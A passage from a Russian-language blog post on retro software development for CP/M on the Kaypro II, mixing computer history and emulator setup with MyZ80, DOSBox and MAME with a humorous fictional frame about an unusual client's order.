]]></content:encoded></item><item><guid isPermaLink="true">https://blog.0x08.ru/paths-of-the-ancients-develop-for-cpm</guid><link>https://blog.0x08.ru/paths-of-the-ancients-develop-for-cpm?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=alex0x08</link><comments>https://blog.0x08.ru/paths-of-the-ancients-develop-for-cpm?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=alex0x08#comments</comments><dc:creator>alex0x08</dc:creator><title>Необычный заказ: разработка под CP/M</title><pubDate>Wed, 18 Feb 2026 08:36:44 GMT</pubDate><media:content medium="image" url="https://img4.teletype.in/files/fc/63/fc63a164-a2f3-4abd-9162-eb6de223df49.png"></media:content><description><![CDATA[<img src="https://img4.teletype.in/files/fb/96/fb965bdb-a2ce-4dd7-b968-700c3214d6a2.jpeg"></img>Помните знаменитую цитату некоего Билла Г. про «640Кб хватит на всех»? Показываю этих самых «всех» и разработку для компьютеров 80х.]]></description><content:encoded><![CDATA[
  <p id="Pmcl">Древний дисковод ожил и издавая чудовищный скрежет стал медленно загружать мое послание. </p>
  <p id="1dKu">Через какое-то время на экране появились строки:</p>
  <pre id="wyKv">NE PUERO GLADIUM, DR. KRIGER.
04.03.2026</pre>
  <p id="Hpg3">Три пары глаз повернулись ко мне в немом изумлении.</p>
  <p id="GHBM">— Это длинная история, нам лучше присесть.</p>
  <p id="Ecbq"></p>
  <figure id="7igN" class="m_original">
    <img src="https://img4.teletype.in/files/fb/96/fb965bdb-a2ce-4dd7-b968-700c3214d6a2.jpeg" width="1600" />
    <figcaption>Все герои в сборе.</figcaption>
  </figure>
  <p id="0xq7">Человек, перешагнувший порог моего маленького офиса в тот летний вечер явно имел отношение к спецслужбам — армейскую выправку и годы тренировок не спрячешь так просто. </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="iios">Рослый и поднятутый, в безупречном костюме и с острым, пронзительным взглядом — он производил серьезное впечатление.</p>
  </section>
  <p id="FX0T">И тем странее выглядел этот заказ.</p>
  <p id="Wp0R">— Алекс, полагаю?</p>
  <p id="atDZ">— Он самый, рад наконец познакомиться лично. </p>
  <p id="txon">— Вы написали, что для нас есть работа. Хотя исходя из содержания письма, задача выглядит довольно.. необычной.</p>
  <p id="b87B">— Это проблема? Мне рекомендовали вас как опытных профессионалов..</p>
  <p id="7CGD">— Нет, не проблема. </p>
  <p id="Sy3t">— Просто уточняю детали, дабы убедиться, что мы понимаем друг друга. </p>
  <p id="fJUa">— Итак, вы действительно используете компьютеры.. из 1987 года?</p>
  <p id="6NST">..</p>
  <h2 id="6g9T">АРХЕОТЕХ</h2>
  <p id="USYO">Копаясь в сети в поисках очередного археотеха, был обнаружен <a href="https://github.com/davidly/cpm_compilers" target="_blank">удивительный репозиторий</a>, в котором один почтенный джентельмен, недавно отошедший от дел, собрал невероятную подборку <s>дичи</s> инструментов разработки для компьютеров конца 70х — начала 80х:</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="MVbQ" data-align="center">CP/M 2.2 compilers, assemblers, and interpreters</p>
  </section>
  <p id="0Hug"><a href="https://en.wikipedia.org/wiki/CP/M" target="_blank">CP/M</a>, если кто вдруг не знает (коих среди читателей точно будет большинство), это такая операционная система из далекого-далекого прошлого, созданная аж в 1974 году.</p>
  <p id="Np1Q">Разумеется давно и крепко забытая обывателями. Для сравнения и понимания исторического периода: </p>
  <blockquote id="w5UX">в 1977м году вышел первый фильм Джорджа Лукаса по вселенной «<a href="https://en.wikipedia.org/wiki/Star_Wars" target="_blank">Звездных Войн</a>», а в 1975м закончилась <a href="https://en.wikipedia.org/wiki/Vietnam_War" target="_blank">война во Вьетнаме</a>.</blockquote>
  <p id="XKDx">Практически любые компьютерные материалы тех лет представляют историческую ценность, а тут аж целый репозиторий, забитый под завязку редчайшим археотехом.</p>
  <p id="zzYm">Чтобы вы смогли оценить объем и сложность проделанной работы: </p>
  <blockquote id="hlTL"><strong>каждый</strong> компилятор или средство разработки из этой коллекции пришлось специально оцифровывать, считывая данные с невероятно старых носителей информации — дискет или магнитной ленты.</blockquote>
  <p id="Jowt">C помощью дисководов, которым <em>лет по пятьдесят</em>, типа такого:</p>
  <figure id="1Ll2" class="m_original">
    <img src="https://img3.teletype.in/files/6f/4c/6f4c6b62-943d-4f1b-83d1-33b375bf61de.jpeg" width="960" />
    <figcaption><a href="https://en.wikipedia.org/wiki/History_of_the_floppy_disk" target="_blank">8-дюймовый </a>(!) диск с дисководом начала 70х. Слева для сравнения &quot;современная&quot; 1&#x27;44 дискета.</figcaption>
  </figure>
  <p id="S4xi">Представляете, чего стоило все это оживить, запустить и заставить работать?</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="bIar">Физические процессы, механические повреждения и влияние среды при этом никто не отменял.</p>
  </section>
  <p id="P6Ej">Если быть совсем точным, то сначала был обнаружен немного <a href="https://github.com/davidly/dos_compilers" target="_blank">другой репозиторий</a> от этого же почтенного автора, где была собрана похожая коллекция, но для более обыденного DOS. </p>
  <p id="qeEu">Лишь несколько недель спустя обнаружилось, что совсем рядом находится настоящее сокровище утраченной цивилизации — <strong>чистый археотех</strong>. </p>
  <p id="AiBB">И понеслась.</p>
  <p id="HA3u">От такого изобилия начала капать слюна и дергаться глаз:</p>
  <figure id="yLun" class="m_column">
    <img src="https://img3.teletype.in/files/2e/2a/2e2a7584-4ba8-45a2-84d8-65ae72b4689c.gif" width="800" />
    <figcaption>Сообщения коммитов вроде &quot;macos build&quot; и &quot;linux build&quot; в одной строке с тулчейном из 70х <strong>невероятно доставляют</strong>.</figcaption>
  </figure>
  <p id="kVPk">Скорее всего ничего из длинного списка выше вам знакомо не будет, поскольку все эти древности на десяток-другой лет старше даже автора этих строк.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="6Ryy">Отдельный восторг у искушенной публики вызовет наличие <strong>скриптов сборки</strong> под Unix (Linux/Mac/BSD). </p>
  </section>
  <p id="84Jb">Примерно из-за таких изумительных проектов хорошие инженеры навсегда бросают пить.</p>
  <p id="NlA7">Но вернемся в мой кабинет — к гостю с армейской выправкой и странными, хотя и законными запросами.</p>
  <p id="S1TD">— Этот разговор будет долгим. Не найдется ли у вас чем освежиться?</p>
  <p id="9vRa">— Разумеется.</p>
  <p id="n7v8">Специально для таких случаев в минибаре хранилась дежурная бутылочка <a href="https://amwine.ru/catalog/krepkie_napitki/viski/the_macallan_classic_cut/" target="_blank">Macallan</a>. И правильный лед.</p>
  <p id="edRz">— Вижу у вас отменный вкус.</p>
  <p id="WLzj">С наслаждением сделав глоток, гость медленно перекатывал стакан между пальцами пока лучи заката переливались на его гранях.</p>
  <p id="Jw1l">В глазах был немой вопрос.</p>
  <p id="X3Wd">— Увы, не могу. «Врачи-убийцы» настрого запретили любой алкоголь.</p>
  <p id="Lxea">— Какая жалость. Со мной они такое провернули только к седьмому сезону.. Возвращась к вашему вопросу.</p>
  <p id="OS3r">— Про компьтеры 80х и их современное использование.</p>
  <p id="0XEM">— Видите ли, это все сценаристы и лично создатель <a href="https://archer.fandom.com/wiki/Archer_Wiki" target="_blank">сериала</a>. </p>
  <p id="B7OT">Решили, что для уникальной атмосферы необходимо смешать гаджеты из совершенно разных эпох.</p>
  <p id="aytq">— У них определенно получилось, <a href="https://www.imdb.com/title/tt1486217/" target="_blank">рейтинг IMDb</a> не даст соврать. </p>
  <p id="nmxz">Ламповые компьютеры 60х, мейнфреймы IBM 70х и 8-битные микрокомпьютеры 80х спокойно существуют в одном мире с мобильными телефонами и видеосвязью.</p>
  <p id="K7Ud">— И все это на протяжении десяти сезонов!</p>
  <p id="nYBq">— Четырнадцати. Делаем продолжение.</p>
  <p id="tORH">— Вот она, сила исскусства!</p>
  <p id="Cy0a"> ..</p>
  <p id="kIaW">Искусство искусством, но прежде чем погружаться по локоть в «кровавый ад разработки» 80х c линковщиками и компиляторами, стоит рассказать о технических реалиях тех лет — оборудовании и самой операционной системе CP/M.</p>
  <p id="4C2c">Будет интересно, даже если вы, дорогой читатель, не старше третьего GTA.</p>
  <figure id="tjDj" class="m_original">
    <img src="https://img2.teletype.in/files/58/f2/58f21cad-d222-4087-9478-4080e5fc5ded.jpeg" width="3200" />
    <figcaption>Аукционный дом <a href="https://www.christies.com/" target="_blank">Christie&#x27;s</a>, <a href="https://onlineonly.christies.com/s/firsts-history-computing-paul-g-allen-collection/group-nine-early-microcomputers-120/230058" target="_blank">частная коллекция Пола Аллена</a>.</figcaption>
  </figure>
  <h2 id="CRxf">ЭПОХА МИКРО</h2>
  <p id="dyZh">Между огромными мейнфреймами, занимающими машинные залы и первым домашним PC с DOS а затем и Windows, был относительно краткий период рассвета (1970-1980) <a href="https://en.wikipedia.org/wiki/Microcomputer" target="_blank">микрокомпьютеров</a>:</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="192y">A <strong>microcomputer</strong> is a small, relatively inexpensive <a href="https://en.wikipedia.org/wiki/Computer" target="_blank">computer</a> having a <a href="https://en.wikipedia.org/wiki/Central_processing_unit" target="_blank">central processing unit</a> (CPU) made out of a single <a href="https://en.wikipedia.org/wiki/Integrated_circuit" target="_blank">integrated circuit</a> <a href="https://en.wikipedia.org/wiki/Microprocessor" target="_blank">microprocessor</a>.</p>
  </section>
  <p id="YzVq">Да, это официальное название, «микрокомпьютерами» назывались <a href="https://en.wikipedia.org/wiki/List_of_computers_running_CP/M" target="_blank">множество разных девайсов</a> от разных производителей, предназначенных для <s>игор</s> домашнего использования.</p>
  <figure id="Knky" class="m_column">
    <img src="https://img2.teletype.in/files/d6/32/d632d1f2-3581-4ac4-9add-a4fa88a74af7.jpeg" width="960" />
    <figcaption>Знаменитый <a href="https://en.wikipedia.org/wiki/Commodore_128" target="_blank">Commodore 128D</a></figcaption>
  </figure>
  <figure id="HX3G" class="m_original">
    <img src="https://img1.teletype.in/files/0c/ca/0cca9405-bddc-49a9-b04b-0a10d133f435.png" width="544" />
    <figcaption>Не менее знаменитый <a href="https://en.wikipedia.org/wiki/TRS-80" target="_blank">TRS-80</a>.</figcaption>
  </figure>
  <p id="VWwT">Это был настоящий бум домашней электроники и сотни разных компаний по всему миру начали создавать свои линейки для новой отрасли — домашних компьютеров.</p>
  <p id="i53E">..</p>
  <p id="0Z9a">— Интересная история, крайне.. необычная. </p>
  <p id="da4u">Рассказ гостя определенно заинтриговал.</p>
  <p id="oJm0">За долгую жизнь со мной случилось столько разнообразной херни, что заказ на разработку для компьютера из 80х от мультяшного персонажа из сериала про  супершпионов уже не казался чем-то невероятным.</p>
  <p id="s2sN">Куда больше вопросов вызывал сам процесс.</p>
  <p id="F9VT">— Но все же, что конкретно мы должны реализовать?</p>
  <p id="83KM">— И под какую машину?</p>
  <p id="3ZLb"></p>
  <figure id="cYGT" class="m_original">
    <img src="https://img4.teletype.in/files/fa/30/fa300f7e-a94a-4968-b65c-713f3293849f.png" width="1920" />
  </figure>
  <h2 id="tx4S">KAYPRO II</h2>
  <p id="duxz">Одной из компаний, решивших поучаствовать в гонке первых домашних компьютеров была <a href="https://en.wikipedia.org/wiki/Kaypro" target="_blank">Kaypro Corporation</a>:</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="UjsK"><strong>Kaypro Corporation</strong> was an American home and <a href="https://en.wikipedia.org/wiki/Personal_computer" target="_blank">personal computer</a> manufacturer based in <a href="https://en.wikipedia.org/wiki/Solana_Beach" target="_blank">Solana Beach</a>, California, in the 1980s</p>
  </section>
  <p id="y610">Хотя сама компания давно не существует, она успела <s>наследить</s> оставить след в истории компьютеров и сердцах благодарных потомков. </p>
  <p id="2brQ">Первый же ее продукт имел оглушительный успех:</p>
  <blockquote id="MNaV">by mid-1983 the company was selling more than 10,000 units a month, briefly making it the fifth-largest computer maker in the world</blockquote>
  <p id="Jbr0"><strong>Пятая в мире</strong> по продажам, рядом с Apple и IBM — в первом ряду, не где-то сбоку, причем с первого продукта.</p>
  <p id="fV4f">Кстати с названием тоже есть интересный нюанс:</p>
  <blockquote id="lt29">The first Kaypro model to be released commercially was branded as the <em>Kaypro II</em>; at the time, one of the most popular microcomputers was the <a href="https://en.wikipedia.org/wiki/Apple_II" target="_blank">Apple II</a></blockquote>
  <p id="dUkK">Так что цифра «два» в названии модели была добавлена ради конкуренции с Apple, а не в качестве порядкового номера — настолько сильна была <s>ненависть</s> жажда наживы.</p>
  <p id="WFZH">Именно этот продукт — домашний компьютер Kaypro II был выбран в качестве полигона для восстановления процесса разработки под CP/M. </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="BqSI">И последующей сдачи этого фантастического проекта для столь особенного заказчика.</p>
  </section>
  <p id="0ASJ">Только посмотрите на эту брутальную «няшу» в стильном металлическом корпусе:</p>
  <figure id="0erq" class="m_original">
    <img src="https://img2.teletype.in/files/12/d4/12d4c222-df1a-4833-a56e-9c71ec3a92ea.jpeg" width="1280" />
  </figure>
  <p id="vcOi">Кстати, этот самый Kaypro II еще и позиционировался как <strong>мобильный</strong>:</p>
  <blockquote id="VrDo">Its <a href="https://en.wikipedia.org/wiki/RS-232" target="_blank">RS-232</a> port was widely used by service technicians for on-site equipment configuration, control and diagnostics</blockquote>
  <p id="i6vD">И действительно использовался инженерами для полевых работ, примерно как современные ноутбуки:</p>
  <figure id="wmJA" class="m_column">
    <img src="https://img3.teletype.in/files/e8/df/e8dfdff7-4088-42a4-ad2a-59839297ed5d.jpeg" width="1280" />
  </figure>
  <p id="xDIG">Ну как можно было пройти мимо такого сказочного девайса?</p>
  <p id="KOv4">..</p>
  <p id="UZ4C">— Видите-ли, Алекс. </p>
  <p id="9Tba">— У нас в.. организации есть один сотрудник. С наци.. ээ немецкими корнями и такой же педантичностью. </p>
  <p id="F0oJ">Мой гость сделал еще один глоток виски, явно наслаждаясь процессом.</p>
  <p id="TOdn">— Отвечает за техническое сопровождение и разные.. эксперименты. В некотором смысле — ваш коллега.</p>
  <p id="spKS">— К великому сожалению, последнее время он начал.. скажем так, проявлять неустойчивость. Рассказывал коллегам о своей избранности и незаменимости. Стал требовать сдавать ему кровь.</p>
  <p id="uALD">— Даже представлять не хочу, для чего ему могло понадобиться столько крови, но нам срочно необходимо это прекратить.</p>
  <p id="bZNR">— С нашей помощью, полагаю?</p>
  <p id="GGeb">..</p>
  <figure id="JsZ2" class="m_column">
    <img src="https://img3.teletype.in/files/65/a8/65a88753-ce37-4ee2-a062-365f939861f5.jpeg" width="715" />
    <figcaption>Создатель операционной системы CP/M  <a href="https://en.wikipedia.org/wiki/Gary_Kildall" target="_blank">Gary Kildall</a> за работой, 1978 год. Огромный ящик слева это.. <strong>дисковод</strong>.</figcaption>
  </figure>
  <h2 id="QsAc">CP/M</h2>
  <p id="G20n">Стоит рассказать и про <a href="https://en.wikipedia.org/wiki/CP/M" target="_blank">операционную систему тех лет</a>, благо очень немногие из читателей <s>дожили</s> имели шанс с ней поработать:</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="DTNH"><strong>CP/M</strong>,originally standing for <strong>Control Program/Monitor</strong> and later <strong>Control Program for Microcomputers, </strong>is a mass-market <a href="https://en.wikipedia.org/wiki/Operating_system" target="_blank">operating system</a> created in 1974 for <a href="https://en.wikipedia.org/wiki/Intel_8080" target="_blank">Intel 8080</a>/<a href="https://en.wikipedia.org/wiki/Intel_8085" target="_blank">85</a>-based <a href="https://en.wikipedia.org/wiki/Microcomputer" target="_blank">microcomputers</a> by <a href="https://en.wikipedia.org/wiki/Gary_Kildall" target="_blank">Gary Kildall</a> of <a href="https://en.wikipedia.org/wiki/Digital_Research" target="_blank">Digital Research, Inc</a>.</p>
  </section>
  <p id="pIs3">Внешне это сильно похоже на более привычный отечественному пользователю DOS, хотя конечно же CP/M появилась гораздо раньше.</p>
  <figure id="F3HK" class="m_column">
    <img src="https://img3.teletype.in/files/26/b0/26b0acf1-fbfb-43ec-a8ee-63223743a43b.jpeg" width="800" />
    <figcaption>Зеленые буквы на черном фоне, за тридцать лет до выхода &quot;Матрицы&quot;.</figcaption>
  </figure>
  <p id="iYJr">Кстати скриншот выше это тоже настоящий артефакт, который был сделан после случайной археологической находки — <a href="https://computerhistory.org/blog/early-digital-research-cpm-source-code/" target="_blank">были обнаружены исходники четырех первых версий CP/M</a>, примерно 1975-79 годов.</p>
  <p id="Lfkb">Так вот на этом скриншоте — работающая CP/M версии 1.3.. <strong>собранная</strong> из найденных исходников! </p>
  <p id="Q8CA">Помимо внешнего узнавания, сейчас будет еще и весьма знакомая история:</p>
  <blockquote id="JxPQ">CP/M eventually became the <em><a href="https://en.wikipedia.org/wiki/De_facto" target="_blank">de facto</a></em> standard and the dominant operating system for microcomputers,in combination with the <a href="https://en.wikipedia.org/wiki/S-100_bus" target="_blank">S-100 bus</a> computers. This <a href="https://en.wikipedia.org/wiki/Computer_platform" target="_blank">computer platform</a> was widely used in business through the late 1970s and into the mid-1980s.</blockquote>
  <p id="tWQ4">«Де-факто стандарт» и «доминирующая операционная система» — никого не напоминает? </p>
  <p id="EJx2">А дело между прочим происходило задолго до Microsoft и ее первых продуктов. </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="Zl1D">История имеет тенденцию повторяться.</p>
  </section>
  <p id="3p5p">Отдельных лулзов доставит и вот <a href="https://en.wikipedia.org/wiki/Z-80_SoftCard" target="_blank">такой замечательный девайс</a>:</p>
  <figure id="vTWU" class="m_original">
    <img src="https://img2.teletype.in/files/d7/d8/d7d81f3f-b38e-4cf8-895e-0ec7bfdd63fd.jpeg" width="1920" />
    <figcaption>Мелкомягкие никогда не изменяли себе, лепя огромные логотипы на все подряд.</figcaption>
  </figure>
  <p id="E4AE">Наберите побольше воздуха, сейчас поплохеет:</p>
  <blockquote id="hiHh">The <strong>Z-80 SoftCard</strong> is a plug-in <a href="https://en.wikipedia.org/wiki/Apple_II_processor_cards" target="_blank">Apple II processor card</a> developed by <a href="https://en.wikipedia.org/wiki/Microsoft" target="_blank">Microsoft</a> to turn the computer into a <a href="https://en.wikipedia.org/wiki/CP/M" target="_blank">CP/M</a> system based upon the <a href="https://en.wikipedia.org/wiki/Zilog_Z80" target="_blank">Zilog Z80</a> central processing unit (CPU). Becoming the most popular CP/M platform and Microsoft&#x27;s top revenue source for 1980, it was eventually renamed the <strong>Microsoft SoftCard</strong>, and was succeeded by Microsoft&#x27;s <strong>Premium Softcard IIe</strong> for the Apple IIe.</blockquote>
  <p id="jh4m">Оказывается самым прибыльным продуктом мелкомягких когда-то была плата расширения для.. компьютеров Apple, позволяющая использовать на них операционную систему CP/M.</p>
  <p id="I6HX">..</p>
  <p id="MjQh">— Несмотря на все наши таланты и умения, думаю не сможем помочь.</p>
  <p id="02fu">Окинув гостя взглядом и оценив его серьезную физическую подготовку, я добавил:</p>
  <p id="w5Ac">— Полагаю в вопросах наказания, проучения и приручения вы дадите сто очков форы кому угодно..</p>
  <p id="Qb0y">— Ну что вы, Алекс. </p>
  <p id="ZLbq">—Конечно же речи не идет о применении насилия, мы мирные <s>землепашцы</s> люди. К тому же для такого существуют.. профильные специалисты. </p>
  <p id="hhvT">— Нет, боюсь все несколько сложнее.</p>
  <p id="abqt">— Я хочу чтобы вы проучили коллегу <strong>морально</strong> — с помощью вашего ума и инженерных талантов.</p>
  <p id="OID9">Прикончив остатки виски, гость одним движением вернул пустой стакан на стол и внимательно посмотрел на меня.</p>
  <p id="eTOF">— Мы договорились?</p>
  <p id="eioG">..</p>
  <h2 id="NSj6">ЭМУЛЯЦИЯ</h2>
  <p id="LQ8S">Нетрудно догадаться, что настоящего микрокомпьютера из 1987 года у меня никогда не было, поскольку в те годы я успел только-только появиться на свет.</p>
  <blockquote id="q6p4">Поэтому большая часть описываемых ниже приключений снова будут происходить в эмуляции.</blockquote>
  <p id="KVwD">«Большая часть» — потому что <strong>действующий</strong> компьютер 80х я все же нашел и даже смог запустить на нем собранное приложение. </p>
  <p id="Gjn8">Содержание статьи сразу заиграло новыми красками, правда?</p>
  <p id="xmFp">Вообще 8-битные микрокомпьютеры быстро завоевали популярность, фактически создав новый рынок домашней электроники и оставив заметный след <s>рваную рану</s> в юных сердцах. </p>
  <p id="LlpG">Благодарные пользователи, убившие детство на первые компьютерные игры и выросшие затем в бородатых программистов, наклепали горы самых разных эмуляторов этих машин.</p>
  <p id="C5Ws">Я отобрал для вас <strong>три</strong> абсолютно разных эмулятора, для максимального погружения в тему микрокомпьютеров и эстетику 80х.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="oP9V">В качестве тестовой среды на этот раз использовался обычный Mageia Linux, чтобы не отвлекать внимание читателей на любимую FreeBSD.</p>
  </section>
  <p id="EejF">Кстати вот <a href="http://www.retroarchive.org/maslin/disks/kaypro/" target="_blank">тут</a> находится очень интересная подборка образов дискет для компьютеров Kaypro, включая <strong>исходники</strong> — на случай, если статьи покажется мало и захотите продолжить банкет.</p>
  <h2 id="T0mf">MYZ80</h2>
  <p id="cX5v">Начнем с самого <s>отбитого</s> <a href="http://www.gaby.de/ftp/pub/cpm/znode51/specials/myz80.htm" target="_blank">хардкорного</a>. </p>
  <p id="cQ1r">Перед вами настоящий дедушка эмуляции — <em>действующий</em> эмулятор CP/M, написанный в 1991м году под MS-DOS:</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="tOag">MyZ80 does more than just emulate the CPU though, it&#x27;s a <strong>complete Z80 computer emulation</strong></p>
  </section>
  <p id="41qR">Этот эмулятор когда-то был коммерческим продуктом — «shareware», хотя и без каких-либо технических ограничений. Исходного кода найти не удалось, так что использовать будем его готовую сборку.</p>
  <p id="NQsi">Один из отзывов, благодаря которому эту штуку вообще удалось отыскать в современном интернете:</p>
  <blockquote id="N0QF">This is one of the few PC CP/M simulators which appears to actually Boot <br />CP/M and not a &quot;CP/M like command interpreter&quot;, thereby allowing you to <br />see what the operating environment actually looked like.</blockquote>
  <p id="wqtt">Шарму добавляет адрес для обратной связи — в <a href="https://en.wikipedia.org/wiki/FidoNet" target="_blank">сети FIDO</a>:</p>
  <blockquote id="8cai">Via FIDONET: direct to my point 3:640/208.3. <br />c/o Z-Node 62, Perth, Western Australia (3:690/718). <br />BBS number: From Australia: 09 450 0200. <br />From outside Australia: Overseas access number +619 450 0200.</blockquote>
  <p id="gj5I"><a href="http://www.gaby.de/ftp/pub/cpm/znode51/specials/myz80.htm" target="_blank">Ссылка</a> указанная выше, на самом деле лишь сохраненная копия сайта автора, поскольку и сайт и сам проект были давным давно заброшены.</p>
  <p id="Dee1">Все ссылки для скачивания битые, но нужный файлик <code>myz80124.zip</code> со сборкой эмулятора легко находится в сети, можно скачать например <a href="http://www.z80.eu/myz80cpm.html" target="_blank">тут</a>.</p>
  <p id="2yRJ">Скачиваем и распаковываем:</p>
  <pre id="L4hK" data-lang="bash">wget http://www.z80.eu/downloads/myz80124.zip
mkdir myz80cpm &amp;&amp; cd myz80cpm
unzip ../myz80124.zip</pre>
  <p id="vdhJ">Внутри будет весьма необычный для современности набор файлов:</p>
  <figure id="Xmaz" class="m_original">
    <img src="https://img3.teletype.in/files/27/c9/27c98659-1503-493a-8a53-681ed94e5612.png" width="940" />
  </figure>
  <p id="8gHF"><strong>MYZ80.EXE</strong> — очевидный бинарник эмулятора, но проблема в том что это <em>16-битное приложение</em> для DOS, запустить которое в современном окружении представляет проблему. </p>
  <p id="50V2">Так что придется использовать еще один известный эмулятор — <a href="https://www.dosbox.com/" target="_blank">Dosbox</a>, чтобы запустить внутри винтажный <code>MYZ80</code>.</p>
  <p id="98NP">Dosbox присутствует в пакетах большинства операционных систем , для моей Mageia установка выглядит вот так:</p>
  <pre id="mhyT" data-lang="bash">urpmi dosbox</pre>
  <p id="Z0Et">А так эта «матрешка» выглядит в работе:</p>
  <figure id="ATpA" class="m_original">
    <img src="https://img3.teletype.in/files/af/52/af52e20d-0521-4962-b0c5-5246c28b8056.png" width="652" />
  </figure>
  <p id="gO1X">Самое важное, ради чего были нужны заморочки аж с двумя эмуляторами — виртуальные диски, связанные с файловой системой DOS:</p>
  <figure id="ijPy" class="m_original">
    <img src="https://img3.teletype.in/files/e1/1a/e11adbe5-52a2-4ade-9000-11aad6f0b4e5.png" width="652" />
  </figure>
  <p id="NNgX">Поскольку Dosbox в свою очередь дает виртуализацию дисков непосредственно из хоста — получаем отличный способ быстро перебрасывать файлы в виртуальную CP/M.</p>
  <blockquote id="ojks">Что важно при любой разработке с использованием эмулятора.</blockquote>
  <p id="8UVz">Собственно, то самое тестовое приложение <code>EXMPL.COM</code> на заглавной картинке было сначала скопировано в каталог с эмулятором:</p>
  <pre id="6E3Q" data-lang="bash">cp ../../src/cpm_compilers/manx\ aztec\ c\ v106d/EXMPL.COM .</pre>
  <p id="IxZD">Затем импортировано в виртуальный диск CP/M:</p>
  <figure id="byBP" class="m_original">
    <img src="https://img3.teletype.in/files/ae/06/ae065b8c-a1f0-4c90-9b31-3340d1a146e0.png" width="652" />
  </figure>
  <p id="RYEG">И запущено уже в CP/M. </p>
  <p id="2E85">Все это проще и быстрее, нежели описываемый ниже вариант с Mame и полной эмуляцией Kaypro II, но к сожалению не дает того самого «ощущения от использования», что это реальная машина тех лет.</p>
  <p id="WS2L">Так что я пошел дальше в своих изысканиях.</p>
  <p id="PkQ3">..</p>
  <p id="o3ZD">— Интересное предложение.</p>
  <p id="mbUP">— Проучить коллегу по опасному инженерному делу, за приличные деньги..</p>
  <p id="9kqU">Моему гостю этого знать не следовало, но я готов был таким заниматься совершенно бесплатно и на регулярной основе.</p>
  <p id="4147">— ..путем разработки под столь винтажный компьютер. </p>
  <p id="9X1k">— Практически совершить уринотерапию..</p>
  <p id="23AK">— Боюсь, уринотерапия тут не поможет — коллега все же имеет немецкие корни. У каждой нации свои.. культурные особенности. </p>
  <p id="7OWp">— Ну да ладно.</p>
  <p id="PWvK">— Обсудим конкретику?</p>
  <p id="yAtI">..</p>
  <h2 id="L5sg">MAME</h2>
  <p id="5eD3">Mame это очень <a href="https://www.mamedev.org/" target="_blank">известный эмулятор</a> самых разных машин и архитектур, как устаревших так и современных, когда-то созданный ради запуска игор, выгруженных из старых игровых автоматов.</p>
  <blockquote id="5yNJ">С помощью Mame, мы получим почти настоящий Kaypro II, с оригинальным ROM и оригинальным образом загрузочной дискеты с CP/M — прямо из 80х.</blockquote>
  <p id="Gw9y">Mame присутствует в пакетах многих дистрибутивов Linux и BSD, для Mageia устанавливается командой:</p>
  <pre id="mckT">urpmi mame</pre>
  <p id="XwTe">Дальше нужно будет скачать загрузочный образ 5.25-дискеты с CP/M 2.2, например <a href="https://winworldpc.com/product/cp-m-80/22" target="_blank">отсюда</a>, затем специальные ROM-файлы для самого Kaypro II и его весьма специфической клавиатуры, <a href="https://archive.org/download/mame251" target="_blank">отсюда</a>.</p>
  <p id="cWMh">Архивы называются <code>kayproii.zip</code> и <code>kaypro10kbd.zip</code>, их необходимо копировать как есть, <em>не распаковывая</em>.</p>
  <p id="7LmA">Создаем структуру каталогов:</p>
  <pre id="yYNY" data-lang="bash">mkdir kayproii-machine &amp;&amp; cd kayrpoii-machine
mkdir roms disks</pre>
  <p id="tv7I">Копируем ROM-файлы:</p>
  <pre id="NBpT" data-lang="bash">cp ~/Downloads/kaypro*.zip ./roms/</pre>
  <p id="dM0I">Распаковываем образ дискеты:</p>
  <pre id="jMCH" data-lang="bash">7z e ~/Downloads/KAYPRO\ II\ 64k\ CPM\ vers\ 2.2.7z -o./disks/</pre>
  <p id="jvCG">Запускаем:</p>
  <pre id="Cjtv" data-lang="bash">mame kayproii -w -rompath ./roms -flop1 disks/KAY64CPM.IMD</pre>
  <p id="ZpKN">Если все шаги выполнены правильно, появится заставка Mame с описанием эмулируемой машины:</p>
  <figure id="Xz1Z" class="m_column">
    <img src="https://img3.teletype.in/files/a6/64/a664ce33-2e1d-4a82-889a-7e384fb93219.png" width="1148" />
  </figure>
  <p id="zEbo">После нажатия любой клавиши, загрузится сама CP/M и вы увидите такое приглашение:</p>
  <figure id="1kIX" class="m_column">
    <img src="https://img1.teletype.in/files/83/33/83332090-d1a8-4ee5-8b90-bc088db54e02.png" width="1148" />
  </figure>
  <p id="dpma">Если сейчас выключить эмулятор и запустить снова — обнаружится, что система восстановила состояние на момент выключения, некий аналог режима сна в современных ноутбуках.</p>
  <p id="9976">В большинстве случаев это помогает работе, но временами может мешать.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="ZZ9W">Особенно если учесть, что в 1987м не было подсистемы управления питанием (<a href="https://en.wikipedia.org/wiki/ACPI" target="_blank">ACPI</a>) и компьютеры выключались по нажатию кнопки на корпусе.</p>
  </section>
  <p id="3CZw">Никаких вам <code>shutdown now</code> или <code>halt</code>, только железная кнопка, только хардкор.</p>
  <p id="QacE">Чтобы сбросить сохраненное состояние — если оно вдруг начнет мешать, достаточно удалить этот файл в каталоге с настройками:</p>
  <pre id="8swR" data-lang="bash">rm ~/.mame/sta/kayproii/auto.sta</pre>
  <p id="1sri">Теперь расскажу про еще один важный нюанс, на изучение которого было убито больше всего времени и сил, чем на всю эту статью.</p>
  <figure id="gkeY" class="m_original">
